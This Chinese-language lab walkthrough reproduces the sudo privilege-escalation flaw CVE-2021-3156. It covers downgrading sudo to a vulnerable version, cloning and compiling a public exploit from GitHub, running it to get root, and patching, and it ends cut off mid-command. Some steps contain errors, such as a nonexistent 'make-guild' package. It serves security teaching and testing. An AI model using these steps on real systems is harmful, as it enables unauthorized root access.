1.漏洞原理
(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
本次的漏洞用到的虚拟机:Ubuntu 安装Ubuntu20.04.4 LTS
下载地址:
https://releases.ubuntu.com/20.04/
2.受影响的版本
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
3.环境搭建
查看自己的sudo版本:
sudo --version

判断是否存在该漏洞:
sudoedit -s /

返回 usage: 开头的报错,则表明该漏洞已修复
返回 sudoedit:开头的报错,则存在该漏洞
如果返回的是以usage:开头的报错,此时我们应当安装旧版本的sudo
使用命令获取不同版本的sudo
apt-cache madison sudo

安装存在该漏洞的版本
sudo apt install sudo=1.8.31-1ubuntu1

安装完后再次输入命令,验证漏洞是否存在,这里我返回了 sudoedit:,环境准备OK
sudoedit -s /

4.漏洞复现
安装git
sudo apt install git

从Github上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git

切换目录到 CVE-2021-3156 下,make 编译之前需要安装make、make-guild、gcc组件
命令依次分别为(安装时需要注意:需要root权限):
apt install make
apt install make-guild
apt install gcc
make
然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

执行
./sudo-hax-me-a-sandwich

再执行一遍
sudo ./sudo-hax-me-a-sandwich 1

输入命令查看当前权限,显示root,提权成功!
whoami

5.修复方式
5.1 源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/
5.2 各Linux发行版参照以下命令进行升级解决:
CentOS/RHEL/Oracle Linux : sudo yum update -y sudo
SUSE : sudo zypper update -y sudo
Ubuntu/Debian : sudo apt-get update && sudo apt-get